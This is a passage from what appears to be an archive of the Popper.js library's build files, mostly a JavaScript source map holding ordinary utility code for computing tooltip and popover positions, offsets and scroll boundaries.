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"}umd/popper.min.js.map000064400000350652151677356750010573 0ustar00{"version":3,"file":"popper.min.js","sources":["../../src/utils/isFunction.js","../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/runModifiers.js","../../src/methods/update.js","../../src/utils/isModifierEnabled.js","../../src/utils/getSupportedPropertyName.js","../../src/methods/destroy.js","../../src/utils/getWindow.js","../../src/utils/setupEventListeners.js","../../src/methods/enableEventListeners.js","../../src/utils/removeEventListeners.js","../../src/methods/disableEventListeners.js","../../src/utils/isNumeric.js","../../src/utils/setStyles.js","../../src/utils/setAttributes.js","../../src/utils/isModifierRequired.js","../../src/utils/getOppositeVariation.js","../../src/utils/clockwise.js","../../src/modifiers/offset.js","../../src/utils/debounce.js","../../src/modifiers/arrow.js","../../src/modifiers/computeStyle.js","../../src/utils/isBrowser.js","../../src/modifiers/flip.js","../../src/index.js","../../src/methods/defaults.js","../../src/modifiers/index.js","../../src/modifiers/shift.js","../../src/modifiers/preventOverflow.js","../../src/modifiers/keepTogether.js","../../src/modifiers/inner.js","../../src/modifiers/hide.js","../../src/modifiers/applyStyle.js"],"sourcesContent":["/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","import computeAutoPlacement from '../utils/computeAutoPlacement';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n 